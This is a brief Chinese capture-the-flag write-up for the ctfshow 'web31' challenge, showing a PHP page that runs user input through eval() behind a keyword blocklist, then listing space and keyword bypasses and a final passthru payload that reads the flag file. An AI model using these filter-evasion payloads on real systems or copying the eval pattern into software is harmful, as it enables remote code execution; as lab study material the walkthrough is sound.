web31笔记(!preg_match("/flag|system|php|cat|sort|shell|\.| |\ 增加空格等绕过)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这⼀次对于之前的payload是过滤了空格,但是有多种办法可以绕过,讲解如下:
${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
这⾥这五个,只有%09可以⽤。因为这⾥是命令执⾏不是代码执⾏。如${IFS}是在shell⾥⽤,⽽这⾥是在绕过php的正则。 另外同cat功能的函数还有: cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
因此得到
payload: ?c=passthru("tac%09f*");
浙公网安备 33010602011771号